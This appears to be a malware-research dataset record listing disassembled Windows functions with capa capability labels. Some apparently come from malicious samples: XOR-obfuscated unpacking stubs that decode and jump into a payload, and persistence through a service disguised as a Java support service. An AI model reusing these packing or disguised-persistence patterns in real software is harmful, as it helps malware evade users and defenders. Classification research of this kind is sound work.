joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4585e8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
xor edx, edx
mov eax, dword [0x45e6a8]
cmp byte [eax], 2
jne 0x4586fa
mov ax, 0xa189
mov esi, 0x1c00
mov ecx, dword [0x45e6d0]
movzx edi, byte [ecx]
xor ax, di
imul di, ax
mov eax, edi
inc ecx
dec esi
jne 0x45860c
cmp ax, 0x7949
jne 0x4586fa
mov ax, 0xa189
mov esi, 0x1c00
mov ecx, dword [0x45ea38]
movzx edi, byte [ecx]
xor ax, di
imul di, ax
mov eax, edi
inc ecx
dec esi
jne 0x458635
cmp ax, 0xb725
jne 0x4586fa
mov eax, dword [0x45e940]
mov ecx, 0xff
mov edx, 0x20001
call fcn.00402ec4
cmp ebx, 0xd
jne 0x4586b1
mov esi, 0x1c00
mov eax, dword [0x45ea38]
mov ecx, dword [0x45e940]
mov dl, byte [eax]
mov byte [ecx], dl
inc ecx
inc eax
dec esi
jne 0x458678
mov cl, 0xaa
mov dl, 0xb2
xor esi, esi
mov edi, dword [0x45e940]
mov eax, esi
sub byte [edi], al
mov al, byte [edi]
not al
mov byte [edi], al
mov ebx, esi
xor bl, al
mov byte [edi], bl
sub byte [edi], dl
mov al, byte [edi]
xor al, cl
mov byte [edi], al
inc esi
inc edi
cmp esi, 0x1c00
jne 0x45868d
jmp 0x4586f8
mov esi, 0x1c00
mov eax, dword [0x45e6d0]
mov ecx, dword [0x45e940]
mov dl, byte [eax]
mov byte [ecx], dl
inc ecx
inc eax
dec esi
jne 0x4586c1
mov cl, 0x8d
mov dl, 0x95
xor esi, esi
mov edi, dword [0x45e940]
mov eax, esi
sub byte [edi], al
mov al, byte [edi]
not al
mov byte [edi], al
mov ebx, esi
xor bl, al
mov byte [edi], bl
sub byte [edi], dl
mov al, byte [edi]
xor al, cl
mov byte [edi], al
inc esi
inc edi
cmp esi, 0x1c00
jne 0x4586d6
mov dl, 1
mov eax, edx
pop edi
pop esi
pop ebx
ret

Function at 0x4590ac
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
mov ecx, edx
test ecx, ecx
js 0x4590c3
shr ecx, 2
mov ebx, dword [eax + ecx*4]
dec ecx
push ebx
jns 0x4590bc
mov eax, esp
mov ebx, eax
mov byte [ebp - 1], 0
lea eax, [ebp - 0x1c]
xor ecx, ecx
mov edx, 0x14
call fcn.00402ec4
push 0
push 0
push 0xffffffffffffffff
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
push 0x41
push ebx
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x459151
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
jne 0x459151
xor ebx, ebx
jmp 0x459125
test bl, bl
jne 0x459125
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_CancelIo
mov bl, 1
push 0xffffffffffffffff
push 0x1388
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WaitForSingleObjectEx
cmp eax, 0x102
je 0x459114
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_GetOverlappedResult
cmp dword [ebp - 8], 0x41
jne 0x45915b
mov byte [ebp - 1], 1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle
mov al, byte [ebp - 1]
mov ebx, dword [ebp - 0x20]
mov esp, ebp
pop ebp
ret
Function at 0x459170
Capabilities:
Read file on windows

Disassembly:
push ebx
add esp, 0xffffffe4
mov ebx, eax
mov byte [esp], 0
lea eax, [esp + 8]
xor ecx, ecx
mov edx, 0x14
call fcn.00402ec4
push 0
push 0
push 0xffffffffffffffff
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esp + 0x18], eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
push 0x41
push ebx
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
jne 0x459207
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
jne 0x459207
xor ebx, ebx
jmp 0x4591d8
test bl, bl
jne 0x4591d8
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_CancelIo
mov bl, 1
push 0xffffffffffffffff
push 0x1388
mov eax, dword [esp + 0x20]
push eax
call sub.kernel32.dll_WaitForSingleObjectEx
cmp eax, 0x102
je 0x4591c7
push 0
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_GetOverlappedResult
cmp dword [esp + 4], 0x41
jne 0x459212
mov byte [esp], 1
mov eax, dword [esp + 0x18]
push eax
call sub.kernel32.dll_CloseHandle
mov al, byte [esp]
add esp, 0x1c
pop ebx
ret

Function at 0x459224
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
push edi
mov ebx, edx
test ebx, ebx
js 0x459240
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x459239
mov eax, esp
mov edi, ecx
mov esi, eax
xor ebx, ebx
cmp dword [0x45e608], 0
jne 0x4592d0
cmp byte [0x45e604], 0
je 0x4592a8
movzx ecx, di
lea edx, [ebp - 0x103]
mov eax, esi
call fcn.00402c48
mov byte [ebp - 0x104], 0
mov ecx, 0x55
mov edx, 0x3f
lea eax, [ebp - 0x103]
xor ebx, ebx
mov bl, byte [eax]
add ecx, ebx
inc eax
dec edx
jne 0x459281
mov byte [ebp - 0xc4], cl
lea eax, [ebp - 0x104]
mov edx, 0xff
call fcn.004590ac
mov ebx, eax
jmp 0x459351
push 0
lea eax, [ebp - 4]
push eax
movzx eax, di
push eax
push esi
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x459351
movzx eax, di
cmp eax, dword [ebp - 4]
jne 0x4592d0
mov bl, 1
cmp dword [0x45e608], 1
jne 0x4592fb
push 0
lea eax, [ebp - 4]
push eax
push 0x24
push esi
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [ebp - 4], 0x24
je 0x4592fb
xor ebx, ebx
cmp dword [0x45e608], 2
jne 0x459326
push 0
lea eax, [ebp - 4]
push eax
push 0x21
push esi
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [ebp - 4], 0x21
je 0x459326
xor ebx, ebx
cmp dword [0x45e608], 3
jne 0x459351
push 0
lea eax, [ebp - 4]
push eax
push 0x21
push esi
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [ebp - 4], 0x21
je 0x459351
xor ebx, ebx
mov eax, ebx
mov edi, dword [ebp - 0x110]
mov esi, dword [ebp - 0x10c]
mov ebx, dword [ebp - 0x108]
mov esp, ebp
pop ebp
ret
Function at 0x45936c
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
add esp, 0xfffffefc
mov esi, eax
xor ebx, ebx
cmp byte [0x45e604], 0
je 0x4593aa
lea eax, [esp + 4]
mov edx, 0xff
call fcn.00459170
test al, al
je 0x4593c2
mov edx, esi
lea eax, [esp + 5]
mov ecx, 0x40
call fcn.00402c48
mov ebx, 0x40
jmp 0x4593c2
push 0
lea eax, [esp + 4]
push eax
push 0x21
push esi
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_ReadFile
mov ebx, dword [esp]
mov eax, ebx
add esp, 0x104
pop esi
pop ebx
ret

Function at 0x4593d0
Capabilities:
Read file on windows

Disassembly:
push ebx
add esp, 0xffffffe4
mov ebx, eax
mov byte [esp], 0
lea eax, [esp + 8]
xor ecx, ecx
mov edx, 0x14
call fcn.00402ec4
push 0
push 0
push 0xffffffffffffffff
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esp + 0x18], eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
push 0x41
push ebx
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
jne 0x459467
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
jne 0x459467
xor ebx, ebx
jmp 0x459438
test bl, bl
jne 0x459438
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_CancelIo
mov bl, 1
push 0xffffffffffffffff
push 0x1f4
mov eax, dword [esp + 0x20]
push eax
call sub.kernel32.dll_WaitForSingleObjectEx
cmp eax, 0x102
je 0x459427
push 0
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_GetOverlappedResult
cmp dword [esp + 4], 0x41
jne 0x459472
mov byte [esp], 1
mov eax, dword [esp + 0x18]
push eax
call sub.kernel32.dll_CloseHandle
mov al, byte [esp]
add esp, 0x1c
pop ebx
ret

Function at 0x459484
Capabilities:
Read file on windows

Disassembly:
add esp, 0xfffffefc
cmp byte [0x45e604], 0
je 0x4594b3
call fcn.0045905c
call fcn.00458fa8
test al, al
je 0x4594d3
lea eax, [esp + 4]
mov edx, 0xff
call fcn.004593d0
test al, al
jmp 0x4594d3
push 0
lea eax, [esp + 4]
push eax
push pe_nt_image_headers32
lea eax, [esp + 0x10]
push eax
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_ReadFile
cmp dword [esp], 0
add esp, 0x104
ret

Function at 0x4594dc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ecx, edx
test ecx, ecx
js 0x4594f1
shr ecx, 2
mov ebx, dword [eax + ecx*4]
dec ecx
push ebx
jns 0x4594ea
mov eax, esp
mov ebx, eax
push 0
lea eax, [ebp - 4]
push eax
push 3
push ebx
mov eax, dword [0x45e60c]
push eax
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb eax, eax
inc eax
cmp dword [ebp - 4], 3
je 0x459517
xor eax, eax
mov ebx, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040bbb3
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040bbb3
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040bbb3
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040bbb3
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040bbb3
mov dword [0x41203c], eax
call fcn.0040bbb3
test eax, eax
jge 0x402550
push 8
call fcn.0040bbb3
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040bbb3
pop ecx
push 1
call fcn.0040bbb3
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040bbb3
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040bbb3
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040bbb3
jmp 0x402495

Function at 0x40bbb3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40bbc2
pop dword [ebp - 8]
mov eax, 0x40bbc2
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x39421
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xa22836f6
sub ecx, 0xa227efc7
mov esi, eax
mov edx, 0x769e227b
add edx, 0x89a31949
add edx, dword [ebp - 8]
mov ebx, 0xe08dc4c
sub ebx, 0x7466866e
mov dword [ebp - 4], 0xf4965904
mov edi, dword [edx]
xor dword [ebp - 4], 0xe578b0c
add edi, ebx
sub dword [ebp - 4], 0xbeb448d7
mov dword [esi], edi
sub dword [ebp - 4], 0x53db221
add esi, 4
add edx, 4
loop 0x40bc17
add eax, 0x71d37e44
add eax, 0x8e2d914b
xor ebx, ebx
add ebx, eax
add eax, 0x463a9be0
sub eax, 0x463a9bdb
mov ecx, 0xaa0af634
sub ecx, 0xa9caf634
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40288e
pop dword [ebp - 0x10]
mov eax, 0x4b7b3a02
sub eax, 0x4b3b1174
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xe1f86238
sub dword [ebp - 0x20], 0x93a61ced
mov dword [ebp - 0x1c], 0x766fced5
add dword [ebp - 0x1c], 0xbbc37d70
mov dword [ebp - 0x18], 0x457c1613
sub dword [ebp - 0x18], 0xf92fd1e5
mov dword [ebp - 0x14], 0xbd055a68
sub dword [ebp - 0x14], 0xbd055a68
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x5e057e5
sub dword [ebp - 0x20], 0x916dee8f
mov dword [ebp - 0x1c], 0x5ee4ca8b
sub dword [ebp - 0x1c], 0x1d786916
mov dword [ebp - 0x18], 0xb6078ee7
sub dword [ebp - 0x18], 0x5298227b
mov dword [ebp - 0x14], 0x4fa373b6
sub dword [ebp - 0x14], 0x4fa373b6
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xc5c3986b
sub eax, 0xc5831797
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x39fb6
push 0
call eax
mov ecx, 0x58a14f94
add ecx, 0xa75f05f7
xor edx, edx
add edx, eax
mov ebx, 0xc0602a15
add ebx, 0x3fe0e5eb
add ebx, dword [ebp - 0x10]
mov edi, 0xed10071b
add edi, 0xd1ba44bd
mov dword [ebp - 4], 0xe4789fd5
mov esi, dword [ebx]
sub dword [ebp - 8], 0x5f856280
sub esi, edi
add dword [ebp - 4], 0x7115e967
mov dword [edx], esi
xor dword [ebp - 8], 0xedaa39f2
add edx, 4
add ebx, 4
loop 0x4029ad
add eax, 0x9bdb4864
sub eax, 0x9bd9ff65
mov ebx, eax
add eax, 0x954e5dc0
sub eax, 0x954e5dbb
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40103d
Capabilities:
Terminate process

Disassembly:
push esi
call fcn.004010c6
mov esi, eax
call fcn.00401092
push 0x403004
push section..data
call fcn.00401078
push 0
jmp loc.0040d1c8

Function at 0x4010c6
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
xor ebx, ebx
push edi
mov dword [0x40301c], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
jne 0x4010fd
xor eax, eax
jmp 0x4011a9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [esi], 0x22
jne 0x401124
inc esi
mov dword [0x40301c], esi
mov al, byte [esi]
cmp al, bl
je 0x40111e
cmp al, 0x22
je 0x40111e
inc esi
jmp 0x401111
cmp byte [esi], bl
jne 0x40113f
jmp 0x4010f6
mov dword [0x40301c], esi
mov al, byte [esi]
cmp al, bl
je 0x40113b
cmp al, 0x20
je 0x40113b
cmp al, 9
je 0x40113b
inc esi
jmp 0x40112a
cmp byte [esi], bl
je 0x401142
mov byte [esi], bl
inc esi
push 1
mov ecx, 0x403020
pop eax
mov dl, byte [esi]
cmp dl, bl
je 0x401155
cmp dl, 0x20
je 0x40115a
cmp dl, 9
jne 0x40115d
inc esi
jmp 0x40114a
mov dl, byte [esi]
cmp dl, bl
je 0x4011a9
cmp dl, 0x22
jne 0x40117f
inc esi
inc eax
mov dword [ecx], esi
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x40119a
cmp dl, 0x22
je 0x40119a
inc esi
jmp 0x401171
mov dword [ecx], esi
inc eax
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x40119a
cmp dl, 0x20
je 0x40119a
cmp dl, 9
je 0x40119a
inc esi
jmp 0x401187
cmp byte [esi], bl
je 0x4011a9
jmp 0x404c26
pop edi
pop esi
pop ebx
ret

Function at 0x401205
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x22c
mov edi, eax
lea eax, [ebp - 0x230]
push ebx
push eax
call fcn.00401580
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x401273
jmp loc.00407098
test eax, eax
jne 0x40124f
jmp 0x40127f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x40129b
push ebx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret
Function at 0x4012dd
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
push 2
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4013b9
push ebx
push edi
push 0x208
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
push esi
xor eax, eax
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x214]
push eax
push 1
push 2
push 0x110
mov ebx, 0xf01ff
push ebx
push str.Java_TM__Virtual_Machine_Support_Service
mov edi, str.javatmsup
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x401391
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
je 0x401363
jmp loc.0040c5a2
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, esi
je 0x4013ae
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x214]
push eax
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push edi
jmp 0x4013a8
lea ecx, [ebp - 8]
push ecx
push 1
push eax
mov dword [ebp - 8], str.Java_interoperability_virtual_machine_support_for_continuing_execution_of_code
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4013bc
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push esi
push edi
push dword [ebp + 8]
call fcn.004012a2
push 0x40
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.00401580
add esp, 0x10
lea eax, [ebp - 4]
push eax
jmp loc.00407cbe
Function at 0x403f1e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp + 0xc]
push esi
push eax
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x403f77
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x104
push eax
lea eax, [ebp - 0x104]
push eax
push esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x404072
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
xor ebx, ebx
push dword [ebp + 0xc]
push ebx
push ebx
push dword [ebp + 8]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov dword [ebp - 4], eax
ja 0x40415c
lea eax, [ebp - 0x20c]
mov edi, 0x80000000
push eax
push str..htm
push edi
call fcn.00403f1e
add esp, 0xc
test eax, eax
jne 0x40415c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x20c]
push str._shellopencommand
push eax
call esi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.00403f1e
add esp, 0xc
test eax, eax
jne 0x40415c
lea eax, [ebp - 0x20c]
push str.__1_
push eax
call fcn.004099e0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jne 0x404139
lea eax, [ebp - 0x20c]
push 0x42b43c
push eax
call fcn.004099e0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jne 0x404139
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [ebp + eax - 0x20d]
jmp 0x40413b
mov byte [edi], bl
push 0x42b440
push edi
call esi
push dword [ebp + 8]
push edi
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408083
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
jne 0x408155
push 0x24
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x94]
mov dword [ebp - 0x98], ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
push dword [0x42fa3c]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0x88]
dec eax
je 0x4080f1
dec eax
jne 0x4081a4
mov esi, 0x407ba6
mov eax, 0x407f2b
jmp 0x4080fb
mov esi, 0x407a80
mov eax, 0x407f27
call eax
push 0x100
push 0x430c30
call esi
pop ecx
cmp eax, ebx
pop ecx
mov dword [0x446038], eax
jbe 0x408155
mov esi, 0x430c40
mov eax, dword [ebp - 4]
cmp eax, dword [esi - 0x10]
je 0x408146
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
call fcn.00409b50
pop ecx
push eax
push dword [ebp + 8]
call fcn.00409da0
add esp, 0xc
test eax, eax
je 0x4081ab
inc ebx
add esi, 0x154
cmp ebx, dword [0x446038]
jb 0x408119
cmp byte [ebp + 0xc], 1
jne 0x4081a4
xor eax, eax
push 0x446034
push str.program_manager
push eax
mov dword [0x44603c], eax
mov dword [0x446034], eax
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp + 8]
mov ecx, 0x446030
call fcn.0041a733
push dword [0x42fa3c]
push 0x4081b9
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [0x44603c]
jmp 0x4081a6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
imul ebx, ebx, 0x154
mov eax, dword [ebx + 0x430c30]
jmp 0x4081a6

Function at 0x409cd0
Capabilities:
Delete file

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x409ce7
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x409ce9
xor eax, eax
test eax, eax
je 0x409cfa
push eax
call fcn.0040b770
add esp, 4
or eax, 0xffffffff
ret
xor eax, eax
ret